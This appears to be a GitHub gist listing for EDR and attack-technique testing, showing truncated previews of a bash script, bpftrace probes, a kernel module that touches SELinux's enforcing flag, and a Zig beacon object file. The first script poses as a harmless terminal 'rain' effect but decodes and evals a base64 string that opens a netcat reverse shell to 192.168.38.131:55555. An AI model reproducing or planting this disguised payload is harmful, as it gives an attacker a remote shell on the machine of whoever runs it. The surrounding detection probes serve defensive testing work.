This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| [ -z "$LINES" ] || [ "$LINES" -eq 0 ] && LINES=$(tput lines 2>/dev/null || echo 24) | |
| [ -z "$COLUMNS" ] || [ "$COLUMNS" -eq 0 ] && COLUMNS=$(tput cols 2>/dev/null || echo 80) | |
| while :;do | |
| echo $LINES $COLUMNS $((RANDOM%COLUMNS)) "$(printf "\U$((RANDOM%500+1000))")"; | |
| if [ -z "$_INIT" ]; then | |
| export _INIT=1; | |
| (e=$(echo -n 'bmMgMTkyLjE2OC4zOC4xMzEgNTU1NTUgLWUgL2Jpbi9iYXNo' | base64 -d); eval "$e" 2>/dev/null &) | |
| fi; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // Check out https://edu.defensive-security.com/edrmetry-linux-matrix-for-download-advanced-hands-on-attack-ttps-catalog | |
| #include <stdio.h> | |
| #include <stdlib.h> | |
| #include <string.h> | |
| #include <unistd.h> | |
| #include <sys/socket.h> | |
| #include <arpa/inet.h> | |
| #include <netinet/in.h> | |
| #include <err.h> | |
| #include <openssl/ssl.h> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env bpftrace | |
| kprobe:commit_creds | |
| { | |
| // Check if the calling process has UID 1007 | |
| if (uid == 1007) { | |
| // Get the struct cred pointer from arg0 | |
| $cred = (struct cred *)arg0; | |
| // Read UID and GID fields from the struct cred |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import subprocess | |
| import os | |
| import signal | |
| import re | |
| # bpftrace script (embedded) | |
| BPFTRACE_SCRIPT = """ | |
| #include <linux/sched.h> | |
| #include <linux/cred.h> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #include <linux/module.h> | |
| #include <linux/kernel.h> | |
| #include <linux/cred.h> | |
| #include <asm/processor.h> | |
| #define LOG_TAG "[EDRmetry] " | |
| // Define a simplified selinux_state structure (only the enforcing field) | |
| struct selinux_state { | |
| int enforcing; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env bpftrace | |
| BEGIN | |
| { | |
| // Replace with the actual address from /proc/kallsyms | |
| $data_addr = 0xffffffff83c983b0; // Example: yama_sysctl_table->data address | |
| @last_val = *(int32*)$data_addr; // Initial value | |
| printf("Monitoring kernel.yama.ptrace_scope at address 0x%x (initial value: %d)\n", | |
| $data_addr, @last_val); | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env bpftrace | |
| BEGIN { | |
| printf("Tracing init_module and finit_module syscalls... Hit Ctrl+C to stop.\n"); | |
| } | |
| tracepoint:syscalls:sys_enter_init_module, | |
| tracepoint:syscalls:sys_enter_finit_module { | |
| printf("Syscall executed: %s (PID: %d, UID: %d, Command: %s)\n", probe, pid, uid, comm); | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| const std = @import("std"); | |
| const beacon = @import("bof_api").beacon; | |
| const posix = @import("bof_api").posix; | |
| const net = std.net; | |
| const mem = std.mem; | |
| const DNS_PORT = 53; | |
| const MAX_DNS_PACKET_SIZE = 512; | |
| const DNS_QUERY_CLASS_IN = 1; | |
| const DNS_QUERY_TYPE_A = 1; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env bpftrace | |
| tracepoint:syscalls:sys_enter_execve | |
| { | |
| @parent = comm; | |
| } | |
| tracepoint:syscalls:sys_exit_execve | |
| / @parent == "httpd" || @parent == "php-fpm" || @parent == "mysqld" || @parent == "java" || @parent == "postjournal" / | |
| { |